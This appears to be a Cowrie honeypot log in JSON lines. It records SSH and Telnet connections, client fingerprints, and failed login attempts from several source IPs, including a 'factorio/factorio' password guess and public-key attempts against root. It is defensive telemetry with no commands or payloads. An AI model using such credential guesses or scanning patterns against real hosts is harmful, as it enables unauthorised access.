{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:51:26.892116Z","src_ip":"8.218.166.49","session":"10c32d7c2581","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"61.4","message":"Connection lost after 61.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:51:28.188731Z","src_ip":"8.218.166.49","session":"748d64634a1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"85.4","message":"Connection lost after 85.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:51:37.295225Z","src_ip":"8.218.166.49","session":"301fbfc80216","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"factorio","password":"factorio","message":"login attempt [factorio/factorio] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:51:42.417554Z","src_ip":"8.218.166.49","session":"9fa2b8779b8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"95.2","message":"Connection lost after 95.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:51:54.259894Z","src_ip":"8.218.166.49","session":"9fa2b8779b8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:52:01.498258Z","src_ip":"8.218.166.49","session":"10c32d7c2581","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.226.140.5","src_port":23032,"dst_ip":"159.203.135.109","dst_port":22,"session":"19c0e214d072","protocol":"ssh","message":"New connection: 5.226.140.5:23032 (159.203.135.109:22) [session: 19c0e214d072]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:52:29.765158Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:52:29.841854Z","src_ip":"5.226.140.5","session":"19c0e214d072","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":35328,"dst_ip":"10.17.0.5","dst_port":22,"session":"327cf2940dbd","protocol":"ssh","message":"New connection: 8.218.166.49:35328 (10.17.0.5:22) [session: 327cf2940dbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:52:32.380263Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:52:33.048057Z","src_ip":"8.218.166.49","session":"327cf2940dbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.5.169.34","src_port":7826,"dst_ip":"159.203.135.109","dst_port":22,"session":"82fde8ffdc3e","protocol":"ssh","message":"New connection: 69.5.169.34:7826 (159.203.135.109:22) [session: 82fde8ffdc3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:52:33.340889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.8","message":"Remote SSH version: SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:52:33.345528Z","src_ip":"69.5.169.34","session":"82fde8ffdc3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"8e8294623d295b5c79addcd28d64328c","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 8e8294623d295b5c79addcd28d64328c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:52:33.439148Z","src_ip":"69.5.169.34","session":"82fde8ffdc3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:52:33.531094Z","src_ip":"69.5.169.34","session":"82fde8ffdc3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:52:53.418029Z","src_ip":"8.218.166.49","session":"327cf2940dbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":51936,"dst_ip":"10.17.0.5","dst_port":22,"session":"29ea18537fef","protocol":"ssh","message":"New connection: 8.218.166.49:51936 (10.17.0.5:22) [session: 29ea18537fef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:52:58.643373Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:52:58.652221Z","src_ip":"8.218.166.49","session":"29ea18537fef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":39124,"dst_ip":"10.17.0.5","dst_port":22,"session":"81ce290e28bd","protocol":"ssh","message":"New connection: 8.218.166.49:39124 (10.17.0.5:22) [session: 81ce290e28bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:53:07.342256Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:53:07.346420Z","src_ip":"8.218.166.49","session":"81ce290e28bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":39134,"dst_ip":"10.17.0.5","dst_port":22,"session":"09099045c486","protocol":"ssh","message":"New connection: 8.218.166.49:39134 (10.17.0.5:22) [session: 09099045c486]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:53:14.953157Z"}
{"eventid":"cowrie.session.closed","duration":120.00852036476135,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:53:22.437226Z","src_ip":"45.181.139.217","session":"9cd23b37d38f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.181.139.217","src_port":64288,"dst_ip":"10.17.0.5","dst_port":23,"session":"582b4814b148","protocol":"telnet","message":"New connection: 45.181.139.217:64288 (10.17.0.5:23) [session: 582b4814b148]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:53:23.151747Z"}
{"eventid":"cowrie.session.closed","duration":120.00194835662842,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:53:23.449457Z","src_ip":"45.181.139.217","session":"cafab06db8d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.181.139.217","src_port":63851,"dst_ip":"10.17.0.5","dst_port":23,"session":"cbcd3f7cd4b5","protocol":"telnet","message":"New connection: 45.181.139.217:63851 (10.17.0.5:23) [session: cbcd3f7cd4b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:53:25.479621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:53:34.886185Z","src_ip":"8.218.166.49","session":"09099045c486","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:53:34.889844Z","src_ip":"8.218.166.49","session":"09099045c486","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":40110,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b5442c56820","protocol":"ssh","message":"New connection: 8.218.166.49:40110 (10.17.0.5:22) [session: 6b5442c56820]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:53:39.469725Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:53:47.510648Z","src_ip":"8.218.166.49","session":"6b5442c56820","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:53:47.514154Z","src_ip":"8.218.166.49","session":"6b5442c56820","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:53:47.689226Z","src_ip":"8.218.166.49","session":"81ce290e28bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.48.167.39","src_port":56308,"dst_ip":"10.17.0.5","dst_port":22,"session":"1bf2379da87f","protocol":"ssh","message":"New connection: 74.48.167.39:56308 (10.17.0.5:22) [session: 1bf2379da87f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:54:00.996473Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:54:01.002733Z","src_ip":"74.48.167.39","session":"1bf2379da87f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:54:01.069165Z","src_ip":"74.48.167.39","session":"1bf2379da87f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"09:6b:85:d3:0f:f2:41:7e:7a:ac:c7:03:53:9e:eb:78","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINhynNiiTNdQe2p20V0L8W/OWXbXXraszQcvZjrwyeAk","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 09:6b:85:d3:0f:f2:41:7e:7a:ac:c7:03:53:9e:eb:78","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:54:01.419308Z","src_ip":"74.48.167.39","session":"1bf2379da87f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"09:6b:85:d3:0f:f2:41:7e:7a:ac:c7:03:53:9e:eb:78","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINhynNiiTNdQe2p20V0L8W/OWXbXXraszQcvZjrwyeAk","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:54:01.423357Z","src_ip":"74.48.167.39","session":"1bf2379da87f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bb:42:1e:2a:3e:59:d5:cd:9f:4d:94:18:f4:85:0e:02","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA08wxivpVne+7ItmjJW254rBzrbK0i0ITUrGqeKxDv8ReY7MS7SapeyfbPH7IEe+UKWhCuAW9+t3JNI4ZYxtYCPPaZUgsaun+fSQbIoo1EnlrETRSuGaLcy0qchBV9ctEyCGBDf87WFDMqx+zwp27etk5h09BQ1nVTP/VrdHMy97jcjTWaY6yRJfoLzB9srON5V3Y4ikiglkEWFnyijMh3VORjTS9Zd/bBk6t5WvY0UxQfmSbbPg6eXbp3rP5aUTt0nItmfLX/Z2CCpcGadwQhW2vS5EnHbSEjhIw8b1S6s5ZbG9iGMuFuUZECcjXKnx+hfCso+jI+/rqRuIjNzZ6KQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bb:42:1e:2a:3e:59:d5:cd:9f:4d:94:18:f4:85:0e:02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:54:01.498121Z","src_ip":"74.48.167.39","session":"1bf2379da87f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bb:42:1e:2a:3e:59:d5:cd:9f:4d:94:18:f4:85:0e:02","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA08wxivpVne+7ItmjJW254rBzrbK0i0ITUrGqeKxDv8ReY7MS7SapeyfbPH7IEe+UKWhCuAW9+t3JNI4ZYxtYCPPaZUgsaun+fSQbIoo1EnlrETRSuGaLcy0qchBV9ctEyCGBDf87WFDMqx+zwp27etk5h09BQ1nVTP/VrdHMy97jcjTWaY6yRJfoLzB9srON5V3Y4ikiglkEWFnyijMh3VORjTS9Zd/bBk6t5WvY0UxQfmSbbPg6eXbp3rP5aUTt0nItmfLX/Z2CCpcGadwQhW2vS5EnHbSEjhIw8b1S6s5ZbG9iGMuFuUZECcjXKnx+hfCso+jI+/rqRuIjNzZ6KQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:54:01.501441Z","src_ip":"74.48.167.39","session":"1bf2379da87f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"88:bf:b0:a2:24:94:d0:d9:96:51:23:c9:f5:94:6a:ec","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD4ypXl1IBdew86rspP3JFf52zJ7L6UmC/uHLTv7TVKbJz/z9PUMmH8RzvRAY7bxuSQODf5U6Dx43T6LVGQEUSjU2z2OkZJnek2PpxzBfCOvZwVWLYdKhHzzL/El+l7Xq9nYQ2nYS9wrwsq6v44QEFQe8T3AhBhzb3o/Gg121zP7xxWJNA+Wh1OYZDKbZtRXty28i+oXDJ32v2jiYg3a6tkdFc1JzsYyYr2VtlJCwcqSAid8AJyzOkwUikpFGTdshkEdvVqWnZPf2Y6bnGCnFzIr/fSqVCNu+/F+WB+Suo23qp4v9kvACp3sPgAQc+/wXoLadt195KZEAQ+p3++VL6X","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 88:bf:b0:a2:24:94:d0:d9:96:51:23:c9:f5:94:6a:ec","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:54:01.571605Z","src_ip":"74.48.167.39","session":"1bf2379da87f","protocol":"ssh"}
